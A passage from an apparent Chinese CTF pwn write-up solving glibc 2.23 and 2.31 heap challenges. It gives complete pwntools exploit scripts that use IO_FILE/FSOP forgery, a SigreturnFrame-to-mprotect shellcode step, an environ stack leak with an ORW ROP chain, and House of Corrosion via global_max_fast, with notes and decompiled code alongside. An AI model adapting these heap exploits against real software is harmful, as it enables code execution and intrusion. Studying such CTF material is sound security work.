exp1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 from pwn import *from ctypes import * context(os='linux' , arch='amd64' ) libc = ELF('./libc-2.31.so' ) banary = "./tototo" elf = ELF(banary) ip = '1' port = 1 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive()def menu (choice ): ru('is:' ) sl(str (choice)) def add (index, size ): menu(1 ) ru('index?' ) sl(str (index)) ru('size?' ) sl(str (size))def free (index ): menu(2 ) ru('one?' ) sl(str (index))def edit (index, con=p64(0xdeadbeef ) ): menu(3 ) ru('one?' ) sl(str (index)) ru('content?' ) sl(con)def show (index ): menu(4 ) ru('one?' ) sl(str (index)) def calloc (index, size ): menu(5 ) ru('index?' ) sl(str (index)) ru('size?' ) sl(str (size)) calloc(10 , 0x500 ) calloc(0 , 0x5d0 ) for i in range (2 , 7 ): add(i, 0x2e0 ) free(0 ) show(0 ) libc_base=uu64()-96 -0x10 -libc.sym["__malloc_hook" ] lg('libc_base' ) mp = libc_base+ 0x1EC2D0 lg('mp' ) stdin = libc_base+ libc.sym["_IO_2_1_stdin_" ] lg('stdin' ) add(0 , 0x2e0 ) add(1 , 0x2e0 ) for i in range (7 ): free(i)for i in range (4 ): calloc(i , 0x2e0 ) free(0 ) free(2 ) calloc(4 , 0x500 ) add(7 , 0x2e0 ) edit(2 ,p64(mp>>8 )) calloc(12 , 0x2e0 ) malloc_hook=libc_base+libc.symbols["__malloc_hook" ] setcontext = libc_base+libc.sym['setcontext' ] stdin=libc_base+libc.sym["_IO_2_1_stdin_" ] malloc_hook_base=malloc_hook&0xfffffffffffff000 lg('malloc_hook_base' ) _IO_str_jumps = libc_base + 0x1E9560 lg('_IO_str_jumps' ) fake_io = p64(0xfbad1800 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(stdin+0xe0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(_IO_str_jumps) frame = SigreturnFrame() frame.rdi = malloc_hook_base frame.rsi = 0x1000 frame.rdx = 7 frame.rsp = malloc_hook + 0x8 frame.rip = libc_base + libc.symbols['mprotect' ] chunk_edit= bytes (frame)print (hex (len (chunk_edit))) shell = """ xor rsi,rsi mov rax,SYS_open call start .string "./flag" start: pop rdi syscall mov rdi,rax mov rsi,rsp mov rdx,0x100 mov rax,SYS_read syscall mov rdi,1 mov rsi,rsp mov rdx,0x100 mov rax,SYS_write syscall mov rax,SYS_exit syscall """ payload = fake_io payload += chunk_edit payload += p64(0 )*3 payload += p64(setcontext+61 ) payload += p64(malloc_hook+0x10 ) payload += asm(shell) add(11 , 0x300 ) free(10 ) edit(10 , b"a" *7 + p64(stdin-0x10 )*0x50 ) add(10 , 0x500 ) edit(10 , b"a" *7 + payload) debug() menu(1 ) pi()
exp2-environ 通过environ,泄露栈地址,通过这个地址计算edit函数中调用read_con时的返回地址
在其ret处布置orw链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 from pwn import *from ctypes import * context(os='linux' , arch='amd64' ) libc = ELF('./libc-2.31.so' ) banary = "./tototo" elf = ELF(banary) ip = '1' port = 1 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive()def menu (choice ): ru('is:' ) sl(str (choice)) def add (index, size ): menu(1 ) ru('index?' ) sl(str (index)) ru('size?' ) sl(str (size))def free (index ): menu(2 ) ru('one?' ) sl(str (index))def edit (index, con=p64(0xdeadbeef ) ): menu(3 ) ru('one?' ) sl(str (index)) ru('content?' ) sl(con)def show (index ): menu(4 ) ru('one?' ) sl(str (index)) def calloc (index, size ): menu(5 ) ru('index?' ) sl(str (index)) ru('size?' ) sl(str (size)) calloc(0 , 0x620 ) calloc(1 , 0x200 ) free(0 ) show(0 ) libc_base = uu64() - 0x70 - libc.sym['__malloc_hook' ] lg('libc_base' ) add(2 , 0x208 ) add(3 , 0x208 ) add(4 , 0x208 ) free(1 ) free(3 ) show(3 ) p.recvline() heap_base = u64(p.recvuntil(b"\n" ).strip().ljust(8 ,b"\x00" ))-0x8d0 lg('heap_base' ) environ = libc_base + libc.sym['environ' ] lg('environ' ) edit(0 , b'\x00' *(7 +0x1F8 ) + p64(0x211 ) + p64(environ) ) add(3 , 0x200 ) add(5 , 0x200 ) show(5 ) stack = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) lg('stack' ) rbp = stack - 0x108 edit_rbp = stack - 0x128 edit_ret = stack - 0x120 lg('edit_rbp' ) lg('edit_ret' ) edit_read_rbp = stack - 0x148 edit_read_ret = stack - 0x140 lg('edit_read_ret' ) free(4 ) free(3 ) edit(0 , b'\x00' *(7 +0x1F8 ) + p64(0x211 )+ p64(edit_read_rbp-0x8 )) add(3 , 0x200 ) add(6 , 0x200 ) pop_rdi = libc_base + 0x0000000000026b72 pop_rdx = libc_base + 0x000000000011c371 pop_rsi = libc_base + 0x0000000000027529 pop_rax = libc_base + 0x000000000004a550 syscall = libc_base + 0x000000000002584d lg('pop_rdi' ) open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] puts_addr = libc_base + libc.sym['puts' ] payload = b'\x00' *7 payload += flat([ pop_rdi, edit_read_rbp+0x88 , pop_rsi, 0 , open_addr, pop_rdi, 3 , pop_rsi, heap_base+0x2b0 , pop_rdx, 0xff , 0 , read_addr , pop_rdi, heap_base+0x2b0 , puts_addr, './flag\0' ]) edit(6 , payload) pi()
5. 2023_heap2019 版本:2.23-0ubuntu11.3_amd64
/home/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
/home/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so
House of corrosion 原理: global_max_fast
:用来储存 fastbin 链表能够储存的最大大小,其默认值为 0x80
fastbinsY
:储存 fastbin 不同大小链表头指针的一段空间,为大小从 0x20 开始的 fastbin 链表预留了十个指针
通过漏洞修改global_max_fast为一个大值,造成 fastbinsY 数组溢出,后续malloc和free的堆块都属于fastbin
如果有 SIZE 超过 0xB0 的堆块,那么这个堆块计算得到的索引值就会超出 fastbinsY 的最大范围,造成数组越界。
我们可以使用以下公式来计算出目标溢出位置,对应的需要构造的堆块 SIZE。
delta 指的是溢出位置到 fastbinsY 首地址的差值
1 chunksize = (delta * 2 ) + 0 x20
利用: 核心思想是改global_max_fast为一个大数,之后释放的大堆块,可以进入fastbin
fastbin_ptr指向main_arena+8(libc-2.23),libc-2.27及以上指向main_arna+0x10
fastbin_ptr中存放了各大小fastbin的fd指针,指向各fastbin链表的首个堆块地址,修改global_max_fast后,释放大堆块可以进入fastbin
通过malloc一个特定size的chunk,篡改global_max_fast,free掉这个堆块,触发攻击
实现在向一个 libc 地址中写入刚刚申请的堆地址
1 2 3 4 fastbin_ptr = libc_base + libc.symbols['main_arena' ] + 8 (0x10 ) index = (target_addr - fastbin_ptr) / 8 size = index*0x10 + 0x20 malloc(size)
堆块中若是伪造的IO流,当后续触发libc时,就会实现IO
后续利用: IO_FILE attack: 覆写_IO_list_all
,使其指向伪造的结构体,或者伪造._chain指向的结构体来实现任意读写,或者伪造vtable(libc-2.23)进行任意写
打free_hook函数:(__malloc_hook与__realloc_hook在main_arena的上方),从而getshell
改stdout来泄露相关信息,也可以不改_flags
假设有漏洞可以修改一个堆块的size,那么可以构造_IO_read_end等于_IO_write_base来进行绕过,具体方式是:改了global_max_fast后,先释放一个需要泄露其中内容的fake fast bin到_IO_read_end(此时,正常走IO指针的输出均会失效,因为过不了_IO_read_end = _IO_write_base的判断,就不会执行_IO_SYSWRITE),然后修改该fake fast bin的size,再将其释放到_IO_write_base处即可。
泄露libc,在算index的时候,libc_base是被抵消掉的,是可以泄露在fastbinsY之后的数据。
思想是:当free时,会把此堆块置入fastbin链表的头部,所以在free后,此堆块的fd位置的内容,就是free前此SIZE的链表头部指针,通过越界就可以读取LIBC上某个位置的内容。
FSOP 通过劫持_IO_list_all
的_chain
,绕过各个检测,从而指向我们伪造的IO_FILE
,利用以下方法触发IO流实现攻击
当libc执行abort流程时
当执行exit函数时
当执行流从main函数返回时
libc2.23
_IO_new_file_overflow
,因此在libc-2.23
版本下可如下构造,进行FSOP
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ._chain => chunk_addr chunk_addr { file = { _flags = "/bin/sh\x00" , _IO_read_ptr = 0x0 , _IO_read_end = 0x0 , _IO_read_base = 0x0 , _IO_write_base = 0x0 , _IO_write_ptr = 0x1 , ... _mode = 0x0 , _unused2 = '\000' <repeats 19 times> }, vtable = heap_addr vtable+0x18 = system_addr }
分析 main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 void __fastcall __noreturn main (int a1, char **a2, char **a3) { int v3; unsigned __int64 v4; v4 = __readfsqword(0x28 u); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); _isoc99_scanf("%u" , &v3); if ( v3 != 3 ) break ; Delete(); } if ( v3 > 3 ) break ; if ( v3 == 1 ) { Add(); } else if ( v3 == 2 ) { Edit(); } } if ( v3 == 4 ) exit (0 ); if ( v3 == 2019 ) printf ("%p\n" , &qword_202040); } }
Add
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 unsigned __int64 Add () { unsigned int size; int size_4; void *buf; unsigned __int64 v4; v4 = __readfsqword(0x28 u); puts ("Content length:" ); _isoc99_scanf("%u" , &size); if ( (unsigned int )sub_A00(size) ) { buf = malloc (size); for ( size_4 = 0 ; size_4 <= 4 ; ++size_4 ) { if ( !heap[size_4] ) { heap[size_4] = buf; puts ("Content:" ); read(0 , buf, size); puts ("Data is:" ); puts ((const char *)buf); puts ("Add OK" ); break ; } } if ( size_4 == 5 ) { free (buf); puts ("Too many chunks" ); } } else { puts ("Invalid size" ); } return __readfsqword(0x28 u) ^ v4; }
edit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned __int64 Edit () { __int64 buf[4 ]; _QWORD *v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); puts ("You cannot edit chunk but you can edit comment" ); puts ("Comment:" ); read(0 , buf, 0x28 uLL); qword_2020E0 = buf[0 ]; qword_2020E8 = buf[1 ]; qword_2020F0 = buf[2 ]; qword_2020F8 = buf[3 ]; qword_202100 = (__int64)v2; *v2 = '\xDE\xAD\xBE\xEF' ; puts ("Edit OK" ); return __readfsqword(0x28 u) ^ v3; }
思路
可以申请large bin chunk,可以直接泄露Libc_base 和 heap_base
程序存在一个任意地址改为0xdeadbeef
利用House of corrsion手法
计算堆块地址偏移,伪造IO:libc版本为2.23,可以劫持vtables,malloc出chunk
改global_max_fast
free该chunk,触发攻击
执行exit,触发IO流
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 from pwn import *from ctypes import * libc = ELF('./libc-2.23.so' ) banary = "./heap2019" elf = ELF(banary) ip = '1' port = 1 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive()def menu (choice ): ru('4.exit\n' ) sl(str (choice)) def add (size,con=p64(0xdeadbeef ) ): menu(1 ) sla(b'length:' , str (size)) sa(b'Content:' , con)def BUG (size ): menu(1 ) sla(b'length:' , str (size))def edit (addr ): menu(2 ) sla(b'Comment:' , p64(0 )*4 + p64(addr))def free (index ): menu(3 ) sla(b'id:' , str (index))def exit (): menu(4 )def backdoor (): menu(2019 ) add(0xa28 , 'a' ) add(0x98 , 'a' ) free(0 ) add(0x200 , 'a' ) libc_base = uu64() - 1345 - 0x10 - libc.sym['__malloc_hook' ] add(0x418 , b'a' *0xF + b'b' ) p.recvuntil('b' ) heap_base = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 0x210 free(1 ) free(2 ) free(0 ) backdoor() elf_base = int (p.recv(14 ), 16 ) - 0x40 lg('libc_base' ) lg('heap_base' ) lg('elf_base' ) add(0x108 , b'/bin/sh\0' * int (0x108 /8 ) ) fastbin_ptr = libc_base + 0x3C4B28 global_max_fast = libc_base + 0x3c67F8 system = libc_base + libc.sym['system' ]''' 0x7f2ecfa21620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007f2ecfa216a3 0x7f2ecfa21630 <_IO_2_1_stdout_+16>: 0x00007f2ecfa216a3 0x00007f2ecfa216a3 0x7f2ecfa21640 <_IO_2_1_stdout_+32>: 0x00007f2ecfa216a3 0x00007f2ecfa216a3 0x7f2ecfa21650 <_IO_2_1_stdout_+48>: 0x00007f2ecfa216a3 0x00007f2ecfa216a3 0x7f2ecfa21660 <_IO_2_1_stdout_+64>: 0x00007f2ecfa216a4 0x0000000000000000 0x7f2ecfa21670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000 0x7f2ecfa21680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007f2ecfa208e0 #_chain 0x7f2ecfa21690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff 0x7f2ecfa216a0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007f2ecfa22780 0x7f2ecfa216b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000 0x7f2ecfa216c0 <_IO_2_1_stdout_+160>: 0x00007f2ecfa207a0 0x0000000000000000 0x7f2ecfa216d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000 0x7f2ecfa216e0 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000 0x7f2ecfa216f0 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007f2ecfa1f6e0 #vtable ''' _chain = libc_base + 0x3c5688 vtable = libc_base + 0x3c56f8 lg('_chain' ) target = _chain-0x8 index = (target - fastbin_ptr)/8 size = index*0x10 +0x20 print (hex (int (size)))def build_fake_file ( addr, rdx, _wide_data , vtable ): fake_file = b"" fake_file += p64(addr) fake_file += p64(addr) fake_file += p64(addr) fake_file += p64(addr + 1 ) fake_file += p64(rdx) fake_file += p64(addr) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p32(1 ) fake_file += p32(0 ) fake_file += p64(0 ) fake_file += p16(0 ) fake_file += p8(0 ) fake_file += p8(0x10 ) fake_file += p32(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(_wide_data) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p32(0 ) fake_file += p32(0 ) fake_file += p64(0 ) * 2 fake_file += p64(vtable) return fake_file payload = build_fake_file( 0 , 0 ,0 , heap_base+0x1f0 ) payload += p64(system)*4 add(int (size), payload) edit(global_max_fast) free(1 ) exit() pi()
6. kheap 是道kernel_heap,后面做内核pwn再研究